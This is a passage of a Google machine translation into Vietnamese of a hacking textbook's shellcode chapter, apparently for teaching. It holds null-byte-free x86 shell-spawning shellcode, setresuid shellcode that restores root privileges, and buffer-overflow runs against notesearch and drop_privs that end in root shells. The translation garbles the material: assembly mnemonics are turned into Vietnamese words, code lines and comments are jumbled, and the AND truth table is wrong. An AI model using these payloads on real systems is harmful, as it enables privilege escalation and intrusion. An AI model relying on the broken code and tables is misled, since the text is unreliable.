Nếu bit nguồn hoặc bit đích bật, hoặc nếu cả hai đều bật, bit kết quả sẽ bật; nếu
không, kết quả sẽ tắt. Kết quả cuối cùng được lưu trữ trong toán hạng đích.
và <đích>, <nguồn> Thực hiện phép toán logic và bitwise , so sánh từng bit của một toán hạng với bit
tương ứng của toán hạng kia. 1 hoặc 0 = 0
1 hoặc 1 = 1
0 hoặc 1 = 0
0 hoặc 0 = 0
Bit kết quả chỉ bật nếu cả bit nguồn và bit đích đều bật. Kết quả cuối cùng được
lưu trữ trong toán hạng đích.
xor <đích>, <nguồn> Thực hiện phép toán loại trừ bit hoặc phép toán logic (xor) , so
sánh từng bit của một toán hạng với bit tương ứng của toán hạng kia.
1 hoặc 0 = 1
1 hoặc 1 = 0
0 hoặc 1 = 1
0 hoặc 0 = 0
Nếu các bit khác nhau, bit kết quả sẽ bật; nếu các bit giống nhau, bit kết quả sẽ
tắt. Kết quả cuối cùng được lưu trữ trong toán hạng đích.
Một phương pháp là di chuyển một số 32 bit tùy ý vào thanh ghi rồi trừ giá
trị đó khỏi thanh ghi bằng lệnh mov và sub :
B8 44 33 22 11
2D 44 33 22 11
di chuyển eax,0x11223344
phụ eax,0x11223344
Trong khi kỹ thuật này hoạt động, cần 10 byte để xóa một thanh ghi duy
nhất, khiến shellcode được lắp ráp lớn hơn mức cần thiết. Bạn có thể nghĩ ra
cách nào để tối ưu hóa kỹ thuật này không? Giá trị DWORD được chỉ định trong mỗi lệnh
Mã vỏ 293
Machine Translated by Google
bao gồm 80 phần trăm mã. Trừ bất kỳ giá trị nào khỏi chính nó cũng tạo ra 0 và không yêu cầu bất kỳ dữ
liệu tĩnh nào. Điều này có thể được thực hiện bằng một lệnh hai byte duy nhất:
29 C0
sub eax,eax
Sử dụng lệnh sub sẽ hoạt động tốt khi đưa các thanh ghi về 0 ở đầu shellcode. Tuy nhiên, lệnh
này sẽ sửa đổi các cờ bộ xử lý, được sử dụng để phân nhánh. Vì lý do đó, có một lệnh hai byte được ưa
thích được sử dụng để đưa các thanh ghi về 0 trong hầu hết các shellcode. Lệnh xor thực hiện một phép
toán loại trừ hoặc trên các bit trong một thanh ghi. Vì 1 xored với 1 sẽ cho kết quả là 0 và 0 xored với
0 sẽ cho kết quả là 0, nên bất kỳ giá trị nào xored với chính nó sẽ cho kết quả là 0. Đây là kết quả
giống như với bất kỳ giá trị nào trừ đi chính nó, nhưng lệnh xor không sửa đổi các cờ bộ xử lý, do đó, nó
được coi là một phương pháp sạch hơn.
31C0
xor eax,eax
Bạn có thể sử dụng lệnh sub để đưa các thanh ghi về 0 một cách an toàn (nếu thực hiện ở đầu
shellcode), nhưng lệnh xor thường được sử dụng nhất trong shellcode ngoài thực tế. Bản sửa đổi tiếp theo
của shellcode này sử dụng các thanh ghi nhỏ hơn và lệnh xor để tránh các byte null. Lệnh inc và dec
hướng dẫn cũng đã được sử dụng khi có thể để tạo ra shellcode nhỏ hơn.
xin chào thế giới3.s
BIT 32
; Nói với nasm đây là mã 32 bit.
jmp ngắn một
; Nhảy xuống cuộc gọi ở cuối.
hai:
; ssize_t ghi(int fd, const void *buf, size_t đếm);
pop ecx
; Đưa địa chỉ trả về (chuỗi ptr) vào ecx.
xor eax, eax
; Xóa toàn bộ 32 bit của thanh ghi eax.
mov al, 4
; Ghi syscall #4 vào byte thấp của eax.
xor ebx, ebx
; Đặt ebx về 0.
inc ebx
; Tăng ebx lên 1, mô tả tệp STDOUT.
xor edx, edx
mov dl, 15
; Chiều dài của chuỗi
int 0x80
; Thực hiện syscall: write(1, string, 14)
; void _exit(int trạng thái);
mov al, 1 ; Thoát khỏi syscall #1, 3 byte trên cùng vẫn bằng 0.
dec ebx ; Giảm ebx xuống 0 khi trạng thái = 0.
số nguyên 0x80
; Thực hiện syscall: exit(0)
một:
gọi hai; Gọi ngược lên trên để tránh byte null
db "Xin chào thế giới!", 0x0a, 0x0d ; với ký tự xuống dòng và ký tự trả về đầu dòng.
294 0x500
Machine Translated by Google
Sau khi lắp ráp shellcode này, hexdump và grep được sử dụng để nhanh chóng kiểm tra xem có byte
null nào không.
reader@hacking:~/booksrc $ nasm helloworld3.s
reader@hacking:~/booksrc $ hexdump -C helloworld3 | grep --color=auto 00
00000000 eb 13 59 31 c0 b0 04 31 db 43 31 d2 b2 0f cd 80 |..Y1...1.C1.....|
00000010 b0 01 4b cd 80 e8 e8 ff ff ff 48 65 6c 6c 6f 2c |..K.......Xin chào,|
00000020 20 77 6f 72 6c 64 21 0a 0d 00000029
| thế giới!..|
người đọc@hacking:~/booksrc $
Bây giờ shellcode này có thể sử dụng được vì nó không chứa bất kỳ byte null nào. Khi sử dụng với
một khai thác, chương trình notesearch bị ép buộc phải chào đón thế giới như một người mới.
reader@hacking:~/booksrc $ export SHELLCODE=$(cat helloworld3)
reader@hacking:~/booksrc $ ./getenvaddr MÃ SHELL ./notesearch
SHELLCODE sẽ ở 0xbffff9bc
người đọc@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\xbc\xf9\xff\xbf"x40')
[DEBUG] tìm thấy một ghi chú 33 byte cho ID người dùng 999
-------[ kết thúc dữ liệu ghi chú ]----Xin chào thế giới!
người đọc@hacking :~/booksrc $
0x530 Shell-Spawning Shellcode
Bây giờ bạn đã biết cách thực hiện lệnh gọi hệ thống và tránh các byte null, tất cả các loại shellcode
đều có thể được xây dựng. Để tạo ra một shell, chúng ta chỉ cần thực hiện lệnh gọi hệ thống để thực thi
chương trình shell /bin/sh. Lệnh gọi hệ thống số 11, execve(), tương tự như hàm execute() của C mà
chúng ta đã sử dụng trong các chương trước.
GIÁM ĐỐC(2)
GIÁM ĐỐC(2)
Sổ tay lập trình Linux
TÊN
execve - thực hiện chương trình
TÓM TẮT
#include <unistd.h>
int execve(const char *tên tệp, char *const argv[],
char *const envp[]);
SỰ MIÊU TẢ
execve() thực thi chương trình được trỏ tới bởi filename. Filename phải là
hoặc là một tệp thực thi nhị phân hoặc một tập lệnh bắt đầu bằng một dòng
dạng "#! interpreter [arg]". Trong trường hợp sau, trình thông dịch phải
là một tên đường dẫn hợp lệ cho một tệp thực thi không phải là một tập lệnh,
sẽ được gọi là tên tệp thông dịch [arg].
argv là một mảng các chuỗi tham số được truyền vào chương trình mới. envp
là một mảng các chuỗi, theo quy ước có dạng key=value, là
Mã vỏ 295
Machine Translated by Google
được chuyển thành môi trường cho chương trình mới. Cả argv và envp đều phải
kết thúc bằng một con trỏ null. Vector đối số và môi trường có thể
được truy cập bởi hàm chính của chương trình được gọi, khi nó được định nghĩa
dưới dạng int main(int argc, char *argv[], char *envp[]).
Đối số đầu tiên của tên tệp phải là con trỏ đến chuỗi "/bin/sh", vì
đây là những gì chúng ta muốn thực thi. Mảng môi trường—
tham số thứ ba—có thể rỗng, nhưng vẫn cần phải kết thúc bằng con trỏ null 32
bit. Mảng tham số—tham số thứ hai—cũng phải được kết thúc bằng null; nó cũng
phải chứa con trỏ chuỗi (vì tham số thứ không là tên của chương trình đang
chạy). Thực hiện trong C, một chương trình thực hiện lệnh gọi này sẽ
trông như thế này:
exec_shell.c
#include <unistd.h>
int chính() {
char filename[] = "/bin/sh\x00";
char **argv, **envp; // Mảng chứa con trỏ char
argv[0] = filename; // Đối số duy nhất là filename.
argv[1] = 0; // Null kết thúc mảng đối số.
envp[0] = 0; // Null kết thúc mảng môi trường.
execve(tên tệp, argv, envp);
}
Để thực hiện điều này trong assembly, mảng đối số và môi trường cần được
xây dựng trong bộ nhớ. Ngoài ra, chuỗi "/bin/sh" cần được kết thúc bằng một
byte null. Điều này cũng phải được xây dựng trong bộ nhớ. Xử lý bộ nhớ trong
assembly tương tự như sử dụng con trỏ trong C. Lệnh lea , có tên là địa chỉ
tải hiệu dụng, hoạt động giống như toán tử address-of trong C.
Chỉ dẫn
Sự miêu tả
lea <đích>, <nguồn> Tải địa chỉ hiệu dụng của toán hạng nguồn vào toán hạng đích.
Với cú pháp lắp ráp Intel, toán hạng có thể được hủy tham chiếu thành
con trỏ nếu chúng được bao quanh bởi dấu ngoặc vuông. Ví dụ, lệnh lắp ráp sau
đây sẽ coi EBX+12 là con trỏ và ghi eax vào nơi nó trỏ đến.
89 43 0C
mov [ebx+12],eax
Mã lệnh shellcode sau đây sử dụng các hướng dẫn mới này để xây dựng execve()
đối số trong bộ nhớ. Mảng môi trường được thu gọn vào cuối mảng đối số, do
đó chúng chia sẻ cùng một ký tự kết thúc null 32 bit.
296 0x500
Machine Translated by Google
exec_shell.s
BIT 32
jmp ngắn hai
; Nhảy xuống phía dưới để thực hiện thủ thuật gọi.
một:
; int execve(const char *tên tệp, char *const argv [], char *const envp [])
pop ebx
; Ebx có địa chỉ của chuỗi.
xor eax, eax
; Đặt 0 vào eax.
mov [ebx+7], al ; Null kết thúc chuỗi /bin/sh.
mov [ebx+8], ebx ; Đặt địa chỉ từ ebx vào nơi có AAAA.
mov [ebx+12], eax ; Đặt ký tự kết thúc null 32 bit vào vị trí của BBBB.
lea ecx, [ebx+8] ; Tải địa chỉ của [ebx+8] vào ecx cho argv ptr.
lea edx, [ebx+12] ; Edx = ebx + 12, là con trỏ envp.
mov al, 11 ; Syscall #11
int 0x80 ; Thực hiện nhé.
hai:
gọi một
; Sử dụng lệnh gọi để lấy địa chỉ chuỗi.
db '/bin/shXAAAABBBB'
; Các byte XAAAABBBB không cần thiết.
Sau khi kết thúc chuỗi và xây dựng các mảng, shellcode sử dụng lệnh lea (được
in đậm ở trên) để đặt một con trỏ đến mảng đối số vào thanh ghi ECX. Tải địa chỉ
hiệu dụng của một thanh ghi trong ngoặc được thêm vào một giá trị là một cách
hiệu quả để thêm giá trị vào thanh ghi và lưu trữ kết quả trong một thanh ghi
khác. Trong ví dụ trên, các ngoặc tham chiếu EBX+8 làm đối số cho lea, tải địa chỉ
đó vào EDX.
Tải địa chỉ của một con trỏ không tham chiếu sẽ tạo ra con trỏ gốc, do đó lệnh này
sẽ đưa EBX+8 vào EDX. Thông thường, lệnh này sẽ yêu cầu cả lệnh mov và lệnh add .
Khi được lắp ráp, shellcode này không có byte null. Nó sẽ tạo ra một shell khi
được sử dụng trong một khai thác.
người đọc@hacking:~/booksrc $ nasm exec_shell.s
người đọc@hacking:~/booksrc $ wc -c exec_shell
36 thực thi vỏ
reader@hacking:~/booksrc $ hexdump -C exec_shell
00000000 eb 16 5b 31 c0 88 43 07 89 5b 08 89 43 0c 8d 4b |..[1..C..[..C..K|
00000010 08 8d 53 0c b0 0b cd 80 e8 e5 ff ff ff 2f 62 69 |..S........../bi|
00000020 6e 2f 73 68
|n/sh|
00000024
người đọc@hacking:~/booksrc $ xuất SHELLCODE=$(cat exec_shell)
reader@hacking:~/booksrc $ ./getenvaddr MÃ SHELL ./notesearch
SHELLCODE sẽ ở 0xbffff9c0
người đọc@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\xc0\xf9\xff\xbf"x40')
[DEBUG] tìm thấy một ghi chú 34 byte cho ID người dùng 999
[DEBUG] tìm thấy ghi chú 41 byte cho ID người dùng 999
[DEBUG] tìm thấy một ghi chú 5 byte cho ID người dùng 999
[DEBUG] tìm thấy một ghi chú 35 byte cho ID người dùng 999
[DEBUG] tìm thấy một ghi chú 9 byte cho ID người dùng 999
[DEBUG] tìm thấy một ghi chú 33 byte cho ID người dùng 999
-------[ kết thúc dữ liệu ghi chú ]-----
Mã vỏ 297
Machine Translated by Google
sh-3.2# ai đó
gốc rễ
sh-3.2#
Tuy nhiên, shellcode này có thể được rút ngắn xuống còn ít hơn 45 byte hiện
tại. Vì shellcode cần được đưa vào bộ nhớ chương trình ở đâu đó, shellcode nhỏ hơn có
thể được sử dụng trong các tình huống khai thác chặt chẽ hơn với bộ đệm có thể sử dụng
nhỏ hơn. Shellcode càng nhỏ, thì càng có thể sử dụng trong nhiều tình huống hơn. Rõ
ràng, trợ giúp trực quan XAAAABBBB có thể được cắt bớt từ cuối chuỗi, giúp shellcode
giảm xuống còn 36 byte.
reader@hacking:~/booksrc/shellcodes $ hexdump -C exec_shell
00000000 eb 16 5b 31 c0 88 43 07 89 5b 08 89 43 0c 8d 4b |..[1..C..[..C..K|
00000010 08 8d 53 0c b0 0b cd 80 e8 e5 ff ff ff 2f 62 69 |..S........../bi|
00000020 6e 2f 73 68
|n/sh|
00000024
người đọc@hacking:~/booksrc/shellcodes $ wc -c exec_shell
36 thực thi vỏ
người đọc@hacking:~/booksrc/shellcodes $
Shellcode này có thể được thu nhỏ hơn nữa bằng cách thiết kế lại và sử dụng các
thanh ghi hiệu quả hơn. Thanh ghi ESP là con trỏ ngăn xếp, trỏ đến đỉnh của ngăn xếp.
Khi một giá trị được đẩy vào ngăn xếp, ESP được di chuyển lên trong bộ nhớ (bằng cách
trừ 4) và giá trị được đặt ở đầu ngăn xếp.
Khi một giá trị được lấy ra khỏi ngăn xếp, con trỏ trong ESP sẽ được di chuyển xuống bộ
nhớ (bằng cách thêm 4).
Mã lệnh shellcode sau đây sử dụng lệnh đẩy để xây dựng các lệnh cần thiết
cấu trúc trong bộ nhớ cho lệnh gọi hệ thống execve() .
vỏ_nhỏ_nhỏ
BIT 32
; execve(const char *tên tệp, char *const argv [], char *const envp [])
xor eax, eax
; Đặt eax về 0.
đẩy eax
; Đẩy một số giá trị null để kết thúc chuỗi.
đẩy 0x68732f2f ; Đẩy "//sh" vào ngăn xếp.
đẩy 0x6e69622f ; Đẩy "/bin" vào ngăn xếp.
mov ebx, esp
; Đưa địa chỉ của "/bin//sh" vào ebx, thông qua esp.
đẩy eax
; Đẩy bộ kết thúc null 32 bit vào ngăn xếp.
mov edx, esp
; Đây là một mảng trống cho envp.
đẩy ebx
; Đẩy địa chỉ chuỗi vào ngăn xếp phía trên ký tự kết thúc null.
mov ecx, esp
; Đây là mảng argv có chuỗi ptr.
mov al, 11
; Cuộc gọi hệ thống số 11.
int 0x80
; Hãy làm đi.
Mã shellcode này xây dựng chuỗi kết thúc bằng null "/bin//sh" trên ngăn xếp, sau
đó sao chép ESP cho con trỏ. Dấu gạch chéo ngược bổ sung không quan trọng và về cơ bản
bị bỏ qua. Phương pháp tương tự được sử dụng để xây dựng các mảng cho các đối số còn
lại. Mã shellcode kết quả vẫn tạo ra một shell nhưng chỉ có 25 byte, so với 36 byte khi
sử dụng phương thức gọi jmp .
298 0x500
Machine Translated by Google
reader@hacking:~/booksrc $ nasm tiny_shell.s
reader@hacking:~/booksrc $ wc -c tiny_shell
25 vỏ_nhỏ_nhỏ
reader@hacking:~/booksrc $ hexdump -C tiny_shell
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 |1.Ph//suỵt/thùng..P|
00000010 89 e2 53 89 e1 b0 0b cd 80
|..C......|
00000019
reader@hacking:~/booksrc $ export SHELLCODE=$(cat tiny_shell)
reader@hacking:~/booksrc $ ./getenvaddr MÃ SHELL ./notesearch
SHELLCODE sẽ ở 0xbffff9cb
người đọc@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\xcb\xf9\xff\xbf"x40')
[DEBUG] tìm thấy một ghi chú 34 byte cho ID người dùng 999
[DEBUG] tìm thấy ghi chú 41 byte cho ID người dùng 999
[DEBUG] tìm thấy một ghi chú 5 byte cho ID người dùng 999
[DEBUG] tìm thấy một ghi chú 35 byte cho ID người dùng 999
[DEBUG] tìm thấy một ghi chú 9 byte cho ID người dùng 999
[DEBUG] tìm thấy một ghi chú 33 byte cho ID người dùng
999 -------[ kết thúc dữ liệu ghi chú ]------sh-3.2#
0x531 Một vấn đề về đặc quyền
Để giúp giảm thiểu tình trạng leo thang đặc quyền tràn lan, một số quy trình đặc quyền
sẽ giảm đặc quyền hiệu lực của chúng trong khi thực hiện những việc không yêu cầu loại
quyền truy cập đó. Điều này có thể được thực hiện bằng hàm seteuid() , hàm này sẽ thiết
lập ID người dùng hiệu lực. Bằng cách thay đổi ID người dùng hiệu lực, các đặc quyền của
quy trình có thể được thay đổi. Trang hướng dẫn sử dụng hàm seteuid() được hiển thị bên dưới.
ĐẶT MÃ SỐ(2)
Sổ tay lập trình Linux
ĐẶT MÃ SỐ(2)
TÊN
seteuid, setegid - thiết lập ID người dùng hoặc nhóm có hiệu lực
TÓM TẮT
#include <sys/types.h>
#include <unistd.h>
int seteuid(uid_t euid);
int setegid(gid_t egid);
SỰ MIÊU TẢ
seteuid() thiết lập ID người dùng có hiệu lực của quy trình hiện tại.
Các quy trình người dùng không có đặc quyền chỉ có thể thiết lập ID người dùng có hiệu lực thành
ID thành ID người dùng thực, ID người dùng có hiệu lực hoặc ID người dùng đã lưu.
Điều tương tự cũng đúng với setegid() với "group" thay vì "user".
GIÁ TRỊ TRẢ VỀ
Khi thành công, trả về số không. Khi có lỗi, trả về -1 và errno được thiết lập phù hợp.
Hàm này được sử dụng bởi mã sau để giảm quyền xuống
của người dùng “trò chơi” trước lệnh gọi strcpy() dễ bị tấn công .
Mã vỏ 299
Machine Translated by Google
drop_privs.c
#include <unistd.h>
void lower_privilege_function(unsigned char *ptr) {
bộ đệm char[50];
seteuid(5); // Hủy quyền cho người dùng trò chơi.
strcpy(bộ đệm, ptr);
}
int main(int argc, char *argv[]) {
nếu (argc > 0)
hàm_đặc_quyền_hàm_hạ_hạ(argv[1]);
}
Mặc dù chương trình biên dịch này là setuid root, các đặc quyền được chuyển cho người dùng trò
chơi trước khi shellcode có thể thực thi. Điều này chỉ tạo ra một shell cho người dùng trò chơi,
không có quyền truy cập root.
reader@hacking:~/booksrc $ gcc -o drop_privs drop_privs.c
reader@hacking:~/booksrc $ sudo chown root ./drop_privs; sudo chmod u+s ./drop_privs
reader@hacking:~/booksrc $ export SHELLCODE=$(cat tiny_shell)
reader@hacking:~/booksrc $ ./getenvaddr MÃ SHELL ./drop_privs
SHELLCODE sẽ ở 0xbffff9cb
người đọc@hacking:~/booksrc $ ./drop_privs $(perl -e 'print "\xcb\xf9\xff\xbf"x40')
sh-3.2$ ai vậy
trò chơi
sh-3.2$ mã số
uid=999(người đọc) gid=999(người đọc) euid=5(trò chơi)
nhóm=4(adm),20(dialout),24(cdrom),25(đĩa mềm),29(âm thanh),30(nhúng),44(video),46(plugdev),104(quét
ner),112(netdev),113(lpadmin),115(powerdev),117(admin),999(reader)
sh-3.2$
May mắn thay, các đặc quyền có thể dễ dàng được khôi phục khi bắt đầu shellcode của chúng ta bằng
lệnh gọi hệ thống để đặt lại các đặc quyền cho root. Cách hoàn thiện nhất để thực hiện việc này là bằng
lệnh gọi hệ thống setresuid() , lệnh này sẽ đặt ID người dùng thực, có hiệu lực và đã lưu. Số lệnh
gọi hệ thống và trang hướng dẫn được hiển thị bên dưới.
reader@hacking:~/booksrc $ grep -i setresuid /usr/include/asm-i386/unistd.h #xác định
__NR_setresuid #xác định
164
__NR_setresuid32
208
reader@hacking:~/booksrc $ man 2 setresuid
ĐẶT UID(2)
Sổ tay lập trình Linux
ĐẶT UID(2)
TÊN
setresuid, setresgid - thiết lập ID người dùng hoặc nhóm thực, có hiệu lực và đã lưu
TÓM TẮT
#xác định _GNU_SOURCE
#include <unistd.h>
300 0x500
Machine Translated by Google
int setresuid(uid_t ruid, uid_t euid, uid_t suid);
int setresgid(gid_t rgid, gid_t egid, gid_t sgid);
SỰ MIÊU TẢ
setresuid() thiết lập ID người dùng thực, ID người dùng có hiệu lực và ID người dùng đã lưu
thiết lập-ID-người-dùng của tiến trình hiện tại.
Mã shellcode sau đây sẽ gọi đến setresuid() trước khi tạo shell để khôi phục quyền
root.
vỏ riêng tư.s
BIT 32
; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax
; Đặt eax về 0.
xor ebx, ebx
; Đặt ebx về 0.
xor ecx, ecx
; Đặt ecx về 0.
xor edx, edx
; Đặt edx về 0.
mov al, 0xa4 int
; 164 (0xa4) cho syscall #164
0x80
; setresuid(0, 0, 0) Khôi phục tất cả quyền riêng tư gốc.
; execve(const char *tên tệp, char *const argv [], char *const envp [])
xor eax, eax mov
; Đảm bảo eax được đưa về 0 lần nữa.
al, 11 push ecx
; cuộc gọi hệ thống #11
push
; đẩy một số giá trị null để kết thúc chuỗi.
0x68732f2f ; đẩy "//sh" vào ngăn xếp.
đẩy 0x6e69622f ; đẩy "/bin" vào ngăn xếp.
mov ebx, esp đẩy
; Đưa địa chỉ của "/bin//sh" vào ebx thông qua esp.
ecx mov
; đẩy ký tự kết thúc null 32 bit vào ngăn xếp.
edx, esp đẩy ebx
; Đây là một mảng trống cho envp.
mov ecx,
; đẩy địa chỉ chuỗi vào ngăn xếp phía trên ký tự kết thúc null.
esp int 0x80
; Đây là mảng argv có chuỗi ptr.
; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
Theo cách này, ngay cả khi một chương trình đang chạy dưới các đặc quyền thấp hơn khi
bị khai thác, shellcode vẫn có thể khôi phục các đặc quyền. Hiệu ứng này được chứng minh
bên dưới bằng cách khai thác cùng một chương trình với các đặc quyền bị hủy bỏ.
reader@hacking:~/booksrc $ nasm priv_shell.s
reader@hacking:~/booksrc $ export SHELLCODE=$(cat priv_shell)
reader@hacking:~/booksrc $ ./getenvaddr MÃ SHELL ./drop_privs
SHELLCODE sẽ ở 0xbffff9bf
người đọc@hacking:~/booksrc $ ./drop_privs $(perl -e 'print "\xbf\xf9\xff\xbf"x40')
sh-3.2# ai đó
gốc rễ
sh-3.2#mã số
uid=0(root) gid=999(reader)
groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scan
ner),112(netdev),113(lpadmin),115(powerdev),117(admin),999(reader)
sh-3.2#
Mã vỏ 301
Machine Translated by Google
0x532 Và Nhỏ Hơn Nữa
Vẫn có thể cắt bớt một vài byte nữa khỏi shellcode này. Có một lệnh x86 một
byte được gọi là cdq, viết tắt của convert doubleword to quadword.
Thay vì sử dụng toán hạng, lệnh này luôn lấy nguồn từ thanh ghi EAX và lưu
trữ kết quả giữa các thanh ghi EDX và EAX. Vì các thanh ghi là doubleword 32
bit, nên cần hai thanh ghi để lưu trữ một quadword 64 bit. Việc chuyển đổi
chỉ đơn giản là mở rộng bit dấu từ số nguyên 32 bit thành số nguyên 64 bit.
Về mặt hoạt động, điều này có nghĩa là nếu bit dấu của EAX là 0, lệnh cdq sẽ
đưa thanh ghi EDX về 0. Sử dụng xor để đưa thanh ghi EDX về 0 cần hai byte;
do đó, nếu EAX đã về 0, sử dụng lệnh cdq để đưa EDX về 0 sẽ tiết kiệm được
một byte
31 ngày 2
xor edx,edx
so với
99
cdq
Một byte khác có thể được lưu bằng cách sử dụng ngăn xếp một cách thông minh. Vì ngăn xếp là
Được căn chỉnh 32 bit, một giá trị byte đơn được đẩy vào ngăn xếp sẽ được
căn chỉnh thành một doubleword. Khi giá trị này được bật ra, nó sẽ được mở
rộng dấu, lấp đầy toàn bộ thanh ghi. Các lệnh đẩy một byte đơn và bật lại
vào thanh ghi mất ba byte, trong khi sử dụng xor để đưa thanh ghi về 0 và di
chuyển một byte đơn mất bốn byte
31C0
B0 0B
xor eax,eax
mov al,0xb
so với
6A 0B
đẩy byte +0xb
58
pop eax
Những thủ thuật này (được in đậm) được sử dụng trong danh sách shellcode sau đây.
Mã này sẽ được biên dịch thành cùng một shellcode như đã sử dụng trong các chương trước.
shellcode.s
BIT 32
; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax
; Đặt eax về 0.
xor ebx, ebx
; Đặt ebx về 0.
xor ecx, ecx cdq ;
; Đặt ecx về 0.
Đưa edx về 0 bằng cách sử dụng bit dấu từ eax.
mov BYTE al, 0xa4 ; syscall 164 (0xa4)
int 0x80 ; setresuid(0, 0, 0) Khôi phục tất cả quyền riêng tư gốc.
; execve(const char *tên tệp, char *const argv [], char *const envp [])
302 0x500
Machine Translated by Google
đẩy BYTE 11 pop
; đẩy 11 vào ngăn xếp.
eax đẩy
; đưa dword của 11 vào eax.
ecx đẩy
; đẩy một số giá trị null để kết thúc chuỗi.
0x68732f2f ; đẩy "//sh" vào ngăn xếp.
đẩy 0x6e69622f ; đẩy "/bin" vào ngăn xếp.
mov ebx, esp đẩy
; Đưa địa chỉ của "/bin//sh" vào ebx thông qua esp.
ecx mov
; đẩy ký tự kết thúc null 32 bit vào ngăn xếp.
edx, esp đẩy ebx
; Đây là một mảng trống cho envp.
mov ecx,
; đẩy địa chỉ chuỗi vào ngăn xếp phía trên ký tự kết thúc null.
esp int 0x80
; Đây là mảng argv có chuỗi ptr.
; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
Cú pháp để đẩy một byte đơn lẻ yêu cầu phải khai báo kích thước.
Kích thước hợp lệ là BYTE cho một byte, WORD cho hai byte và DWORD cho bốn byte.
Các kích thước này có thể được ngụ ý từ độ rộng của thanh ghi, do đó việc di chuyển vào
thanh ghi AL ngụ ý kích thước BYTE . Mặc dù không cần thiết phải sử dụng kích thước trong
mọi tình huống, nhưng nó không gây hại và có thể giúp tăng khả năng đọc.
Shellcode liên kết cổng 0x540
Khi khai thác một chương trình từ xa, shellcode mà chúng ta đã thiết kế cho đến nay sẽ không hoạt
động. Shellcode được tiêm cần phải giao tiếp qua mạng để cung cấp lời nhắc root tương tác.
Shellcode liên kết cổng sẽ liên kết shell với một cổng mạng nơi nó lắng nghe các kết nối đến.
Trong chương trước, chúng ta đã sử dụng loại shellcode này để khai thác máy chủ tinyweb. Mã C
sau liên kết với cổng 31337 và lắng nghe kết nối TCP.
bind_port.c
#include <unistd.h>
#include <chuỗi.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void) {
int sockfd, new_sockfd; // Lắng nghe trên sock_fd, kết nối mới trên new_fd
struct sockaddr_in host_addr, client_addr; // Thông tin địa chỉ của tôi
socklen_t kích thước tội lỗi;
int có=1;
sockfd = socket(PF_INET, SOCK_STREAM, 0);
host_addr.sin_family = AF_INET; // Thứ tự byte máy chủ
host_addr.sin_port = htons(31337); // Ngắn, thứ tự byte mạng
host_addr.sin_addr.s_addr = INADDR_ANY; // Tự động điền IP của tôi.
memset(&(host_addr.sin_zero), '\0', 8); // Đặt giá trị 0 cho phần còn lại của struct.
liên kết(sockfd, (cấu trúc sockaddr *)&host_addr, sizeof(cấu trúc sockaddr));
lắng nghe(sockfd, 4);
Mã vỏ 303
Machine Translated by Google
sin_size = sizeof(cấu trúc sockaddr_in);
new_sockfd = chấp nhận(sockfd, (struct sockaddr *)&client_addr, &sin_size);
}
Tất cả các hàm socket quen thuộc này đều có thể được truy cập bằng một lệnh gọi hệ
thống Linux duy nhất, được đặt tên khéo léo là socketcall(). Đây là lệnh gọi hệ thống số
102, có trang hướng dẫn hơi khó hiểu.
reader@hacking:~/booksrc $ grep socketcall /usr/include/asm-i386/unistd.h #define __NR_socketcall 102
reader@hacking:~/booksrc $ man 2 socketcall
IPC(2)
IPC(2)
Sổ tay lập trình Linux
TÊN
socketcall - lệnh gọi hệ thống socket
TÓM TẮT
int socketcall(int call, unsigned long *args);
SỰ MIÊU TẢ
socketcall() là điểm vào kernel chung cho các cuộc gọi hệ thống socket. call
xác định hàm socket nào sẽ được gọi. args trỏ đến một khối chứa
các đối số thực tế được chuyển đến lệnh gọi thích hợp.
Các chương trình của người dùng nên gọi các hàm thích hợp theo cách thông thường của chúng
tên. Chỉ những người triển khai thư viện chuẩn và tin tặc hạt nhân mới cần
biết về socketcall().
Các số gọi có thể có cho đối số đầu tiên được liệt kê trong
linux/net.h bao gồm tập tin.
Từ /usr/include/linux/net.h
*/
#định nghĩa SYS_SOCKET 1 /* sys_socket(2) #định
nghĩa SYS_BIND 2 /* sys_bind(2) #định nghĩa
*/
SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
#define SYS_SOCKETPAIR 8 /* cặp_ổ_phích_hệ_thống(2) */
#xác định SYS_SEND 9 */
/* sys_send(2)
#define SYS_RECV 10 /* sys_recv(2) */
#xác định SYS_SENDTO 11 */
/* sys_sendto(2)
#định nghĩa SYS_RECVFROM 12 /* sys_recvfrom(2) /*
*/
nghĩa SYS_SHUTDOWN 13 #định
*/
sys_shutdown(2) #định
nghĩa SYS_SETSOCKOPT 14 /* sys_setsockopt(2) /*
*/
nghĩa SYS_GETSOCKOPT 15 #định
*/
sys_getsockopt(2) #định
nghĩa SYS_SENDMSG 16 /* sys_sendmsg(2) */
#xác định SYS_RECVMSG 17
304 0x500
/* sys_recvmsg(2) */
Machine Translated by Google
Vì vậy, để thực hiện các lệnh gọi hệ thống socket bằng Linux, EAX luôn
là 102 cho socketcall(), EBX chứa loại lệnh gọi socket và ECX là con trỏ đến
các đối số của lệnh gọi socket. Các lệnh gọi khá đơn giản, nhưng một số lệnh gọi
yêu cầu cấu trúc sockaddr , cấu trúc này phải được shellcode xây dựng. Gỡ lỗi mã
C đã biên dịch là cách trực tiếp nhất để xem cấu trúc này trong bộ nhớ.
reader@hacking:~/booksrc $ gcc -g bind_port.c reader@hacking:~/
booksrc $ gdb -q ./a.out Sử dụng thư viện libthread_db
lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) danh sách 18
13
sockfd = socket(PF_INET, SOCK_STREAM, 0);
14
15
host_addr.sin_family = AF_INET; // Thứ tự byte máy chủ
16
host_addr.sin_port = htons(31337); // Ngắn, thứ tự byte mạng
17
host_addr.sin_addr.s_addr = INADDR_ANY; // Tự động điền IP của tôi.
18
memset(&(host_addr.sin_zero), '\0', 8); // Đặt giá trị 0 cho phần còn lại của struct.
19
20
